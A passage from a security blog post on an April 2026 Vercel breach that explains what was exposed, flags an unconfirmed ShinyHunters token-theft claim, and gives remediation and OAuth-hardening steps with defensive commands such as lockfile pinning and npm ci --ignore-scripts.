<li><strong>Access to customer environment variables.</strong> Once inside, the attacker could read environment variables on the Vercel platform that were <strong>not</strong> marked as &quot;sensitive&quot; by the customer. Vercel encrypts all env vars at rest, but variables flagged sensitive are unreadable even by Vercel staff and stayed out of reach.</li>
</ol>
<p>Vercel detected the activity, engaged <a href="https://cloud.google.com/security/mandiant">Mandiant</a>, notified law enforcement, and disclosed publicly on April 19.</p>
<h2 id="h2-what-was-exposed-and-what-was-not" class="group relative scroll-mt-24">
        <a href="#h2-what-was-exposed-and-what-was-not" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Was Exposed (and What Was Not)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-was-exposed-and-what-was-not"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-what-vercel-officially-confirmed" class="group relative scroll-mt-24">
        <a href="#h3-what-vercel-officially-confirmed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Vercel officially confirmed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-vercel-officially-confirmed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What the attacker may have accessed:</p>
<ul>
<li>Vercel credentials for &quot;a limited subset of customers&quot;</li>
<li>Environment variables <strong>not</strong> marked sensitive on those customers&#39; projects</li>
<li>Deployment Protection tokens on those customers&#39; projects</li>
<li>Various internal Vercel systems and tooling</li>
</ul>
<p>What the attacker did <strong>not</strong> access:</p>
<ul>
<li>Environment variables marked sensitive (these are locked even against Vercel staff)</li>
<li>Anything at customers outside the named subset (Vercel reached out directly to those who were affected)</li>
<li>Vercel&#39;s build/runtime infrastructure itself</li>
</ul>
<blockquote>
<p>&quot;Environment variables marked as &#39;sensitive&#39; were <strong>not</strong> accessible to the threat actor.&quot;<br>Vercel Security Team, <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident">April 2026 bulletin</a></p>
</blockquote>
<p>Services remained operational throughout. The public Vercel edge, the build system, and your deployments were not the attack surface.</p>
<h3 id="h3-what-the-attackers-are-claiming" class="group relative scroll-mt-24">
        <a href="#h3-what-the-attackers-are-claiming" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the attackers are claiming
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-the-attackers-are-claiming"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Separately from Vercel&#39;s official disclosure, a <a href="https://x.com/k1rallik/status/2045885869035323645">tweet from security researcher @k1rallik</a> claims the threat actor is <strong>ShinyHunters</strong> (the group behind the 2024 Ticketmaster breach) and that a copy of Vercel&#39;s internal database is being advertised for $2M on BreachForums. According to that claim, the listing includes <strong>NPM tokens and GitHub tokens</strong> belonging to Vercel. The researcher also claims Vercel contacted the attackers directly on Telegram.</p>
<p><strong>This has not been officially confirmed by Vercel.</strong> Treat it as a community signal, not established fact. But the risk it implies is worth taking seriously: if NPM tokens that publish packages Vercel maintains were stolen, the worst-case consequence is a malicious version of <code>next</code>, <code>@vercel/next</code>, <code>@vercel/analytics</code>, or any other Vercel-published package showing up on npm. Next.js alone has roughly 6 million weekly downloads, which would make this a textbook global supply chain attack in the same shape as the recent <a href="/posts/axios-supply-chain-attack-what-happened-and-what-to-do">axios compromise</a>.</p>
<p>We&#39;ll update this post if Vercel confirms or refutes the token theft.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Vercel contacted affected customers directly. If you did not receive a notification, Vercel says there is no indication your account was compromised. That said, the conservative thing to do is verify.</p>
<h3 id="h3-check-your-notifications" class="group relative scroll-mt-24">
        <a href="#h3-check-your-notifications" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check your notifications
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-your-notifications"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ol>
<li>Look in the inbox associated with your Vercel account owner for an email from Vercel dated on or around April 19, 2026.</li>
<li>Check the Vercel dashboard for banners or in-app notifications.</li>
<li>Search your spam / quarantine folder.</li>
</ol>
<h3 id="h3-audit-your-account-activity" class="group relative scroll-mt-24">
        <a href="#h3-audit-your-account-activity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Audit your account activity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-audit-your-account-activity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text"># In the Vercel dashboard:
# Settings → Security → Audit Log
</code></pre><p>Look for unfamiliar:</p>
<ul>
<li>Deployments you did not trigger</li>
<li>New team members or project invites</li>
<li>Token creations or SSH key additions</li>
<li>Changes to environment variables</li>
<li>Changes to domain or DNS settings</li>
</ul>
<p>Pay extra attention to activity between <strong>early April 2026</strong> and the day you audit.</p>
<h3 id="h3-review-recent-deployments" class="group relative scroll-mt-24">
        <a href="#h3-review-recent-deployments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Review recent deployments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-review-recent-deployments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text"># Vercel dashboard → Project → Deployments
</code></pre><p>For each production deployment since early April, verify:</p>
<ul>
<li>The commit SHA matches what you expect in your git history</li>
<li>The build log does not contain unexpected commands or outputs</li>
<li>The deployment was triggered by a known user or CI pipeline</li>
</ul>
<h2 id="h2-how-to-fix-it-if-you-are-affected" class="group relative scroll-mt-24">
        <a href="#h2-how-to-fix-it-if-you-are-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Fix It If You Are Affected
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-fix-it-if-you-are-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If Vercel notified you, or if your audit turns up anything suspicious, assume your non-sensitive environment variables have been read and act accordingly.</p>
<h3 id="h3-1-rotate-every-secret-that-was-in-a-non-sensitive-env-var" class="group relative scroll-mt-24">
        <a href="#h3-1-rotate-every-secret-that-was-in-a-non-sensitive-env-var" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Rotate every secret that was in a non-sensitive env var
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-rotate-every-secret-that-was-in-a-non-sensitive-env-var"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This includes:</p>
<ul>
<li>Third-party API keys (Stripe, OpenAI, Sentry, PostHog, Resend, anything)</li>
<li>Database connection strings and credentials</li>
<li>OAuth client secrets and webhook signing keys</li>
<li>Internal service-to-service tokens</li>
<li>Any other credential that was stored as a regular env var rather than a sensitive one</li>
</ul>
<p>Rotate in-place if you can. If not, issue new credentials, deploy them, then revoke the old ones.</p>
<h3 id="h3-2-rotate-deployment-protection-tokens" class="group relative scroll-mt-24">
        <a href="#h3-2-rotate-deployment-protection-tokens" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Rotate Deployment Protection tokens
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-rotate-deployment-protection-tokens"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text"># Vercel dashboard → Project → Settings → Deployment Protection → Rotate token
</code></pre><p>If an attacker had a DP token, they could bypass protection on your preview deployments.</p>
<h3 id="h3-3-raise-deployment-protection-to-at-least-standard" class="group relative scroll-mt-24">
        <a href="#h3-3-raise-deployment-protection-to-at-least-standard" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Raise Deployment Protection to at least Standard
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-raise-deployment-protection-to-at-least-standard"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If Deployment Protection was set to None or below Standard on affected projects, bump it up. This prevents future unauthorized access to preview URLs.</p>
<h3 id="h3-4-adopt-sensitive-environment-variables-going-forward" class="group relative scroll-mt-24">
        <a href="#h3-4-adopt-sensitive-environment-variables-going-forward" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Adopt sensitive environment variables going forward
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-adopt-sensitive-environment-variables-going-forward"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Vercel offers a &quot;sensitive&quot; flag per variable. Sensitive values:</p>
<ul>
<li>Are readable only by the running deployment, never by the dashboard, the CLI, or Vercel staff</li>
<li>Are not included in build logs</li>
<li>Are not viewable after being set</li>
</ul>
<p>Move every secret (keys, tokens, passwords) to sensitive. Reserve non-sensitive variables for truly non-secret config like feature flags, region names, or public URLs.</p>
<pre><code class="hljs language-text"># When adding a new env var in the dashboard, check the
# &quot;Sensitive&quot; checkbox. For secrets, always.
</code></pre><h3 id="h3-5-rebuild-and-redeploy" class="group relative scroll-mt-24">
        <a href="#h3-5-rebuild-and-redeploy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Rebuild and redeploy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-rebuild-and-redeploy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After rotating, trigger a clean redeploy so the new values are live and the old values become inactive references in old builds only.</p>
<h3 id="h3-6-pin-your-nextjs-and-vercel-published-npm-dependencies" class="group relative scroll-mt-24">
        <a href="#h3-6-pin-your-nextjs-and-vercel-published-npm-dependencies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. Pin your Next.js and Vercel-published npm dependencies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-6-pin-your-nextjs-and-vercel-published-npm-dependencies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you use Next.js or any package published by Vercel (<code>next</code>, <code>@vercel/*</code>, <code>@next/*</code>), pin to known-safe versions in your lockfile until Vercel officially confirms no publish tokens were exposed:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># See what you have locked</span>
grep -E <span class="hljs-string">&#x27;&quot;next&quot;:|&quot;@vercel/|&quot;@next/&#x27;</span> package.json package-lock.json yarn.lock pnpm-lock.yaml 2&gt;/dev/null

<span class="hljs-comment"># In CI, use clean installs that respect the lockfile exactly</span>
npm ci
<span class="hljs-comment"># or</span>
pnpm install --frozen-lockfile
<span class="hljs-comment"># or</span>
yarn install --frozen-lockfile
</code></pre><p>Disable <code>postinstall</code> scripts on untrusted dependencies in CI if you do not need them:</p>
<pre><code class="hljs language-bash">npm ci --ignore-scripts
</code></pre><p>Monitor the <a href="https://www.npmjs.com/package/next?activeTab=versions">npm feed for the <code>next</code> package</a> for any unexpected release between April 19 and when Vercel gives the all-clear. An unscheduled patch release in that window is a red flag.</p>
<h2 id="h2-how-to-prevent-the-same-class-of-attack" class="group relative scroll-mt-24">
        <a href="#h2-how-to-prevent-the-same-class-of-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Prevent the Same Class of Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-prevent-the-same-class-of-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This attack will happen again, to somebody. It is a pattern, not a one-off. Here is what to harden across your org, whether you use Vercel or not.</p>
<h3 id="h3-1-treat-oauth-app-grants-as-access-control" class="group relative scroll-mt-24">
        <a href="#h3-1-treat-oauth-app-grants-as-access-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Treat OAuth app grants as access control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-treat-oauth-app-grants-as-access-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every &quot;Login with Google&quot; grant your team accepts is a persistent access path into your identity provider. Most orgs never audit what&#39;s been granted.</p>
<pre><code class="hljs language-text"># Google Workspace admin: Security → Access and data control →
#   API controls → App access control → Manage Third-Party App Access
</code></pre><p>Review the list. Revoke anything nobody recognizes. Move high-value scopes (Drive, Gmail, Calendar read/write) onto an explicit allow-list so employees cannot silently grant new apps permission to read company data.</p>
<p>GitHub has <a href="https://github.com/settings/applications">a similar review page</a> for OAuth apps that have been granted access to your org.</p>
<h3 id="h3-2-minimize-scopes-on-every-oauth-integration" class="group relative scroll-mt-24">
        <a href="#h3-2-minimize-scopes-on-every-oauth-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Minimize scopes on every OAuth integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-minimize-scopes-on-every-oauth-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When you connect a third-party SaaS app to Workspace or Microsoft 365, check the scope list. If the app asks for <code>https://mail.google.com/</code> (full mail access) when it only needs to read your calendar, that is a scope you should refuse. Most employees accept whatever is asked for.</p>
<h3 id="h3-3-mark-every-secret-as-sensitive-by-default" class="group relative scroll-mt-24">
        <a href="#h3-3-mark-every-secret-as-sensitive-by-default" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Mark every secret as sensitive, by default
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-mark-every-secret-as-sensitive-by-default"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Not just on Vercel. On every platform that offers a distinction:</p>
<ul>
<li><strong>Vercel</strong>: sensitive env vars</li>
<li><strong>AWS</strong>: Secrets Manager, never plain env vars on Lambdas you can <code>kubectl get</code> on</li>
<li><strong>GitHub Actions</strong>: encrypted secrets, not plain env in workflow yaml</li>
<li><strong>Kubernetes</strong>: Secret objects at minimum, ideally sealed-secrets or External Secrets Operator backed by Vault</li>
</ul>
<p>The principle: a secret should never be readable by a dashboard, a log, or a human administrator, only by the process that needs it at runtime.</p>
<h3 id="h3-4-monitor-google-workspace-for-unusual-token-use" class="group relative scroll-mt-24">
        <a href="#h3-4-monitor-google-workspace-for-unusual-token-use" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Monitor Google Workspace for unusual token use
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-monitor-google-workspace-for-unusual-token-use"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Workspace logs every OAuth app token access. You can alert on:</p>
<ul>
<li>Tokens from an OAuth app that hasn&#39;t been used in 30+ days suddenly activating</li>
<li>Tokens used from unusual geographies or IPs</li>
<li>OAuth apps reading large numbers of documents or emails in short bursts</li>
</ul>
<p>This is exactly the kind of activity that would have caught the replay in this incident earlier. Most orgs have these logs but no alerts wired up to them.</p>
<h3 id="h3-5-have-an-incident-plan-that-covers-a-vendor-got-breached" class="group relative scroll-mt-24">
        <a href="#h3-5-have-an-incident-plan-that-covers-a-vendor-got-breached" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Have an incident plan that covers "a vendor got breached"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-have-an-incident-plan-that-covers-a-vendor-got-breached"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The most common response to &quot;one of our SaaS vendors got hacked&quot; is to wait and see. That&#39;s too slow. Pre-write:</p>
<ul>
<li>Who on your team is the point of contact when a vendor discloses a breach</li>
<li>Which secrets need to be rotated in which order (usually: identity providers first, then payment/billing, then product APIs)</li>
<li>How to communicate to your own customers if the incident affects them</li>
<li>Where the rotation runbook lives</li>
</ul>
<p>Practice it once a year on a tabletop exercise. <a href="/games/bcdr-simulator">Our BCDR simulator</a> walks through similar scenarios if your team wants to rehearse.</p>
<h2 id="h2-the-bigger-lesson" class="group relative scroll-mt-24">
        <a href="#h2-the-bigger-lesson" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bigger Lesson
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bigger-lesson"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The scary part of this incident isn&#39;t that Vercel was breached. It is that the initial vector was an AI tool nobody on the Vercel security team had any view into. Context.ai was compromised a month before anyone at Vercel knew there was a problem. CrowdStrike apparently did not flag the OAuth tokens as part of their investigation scope.</p>
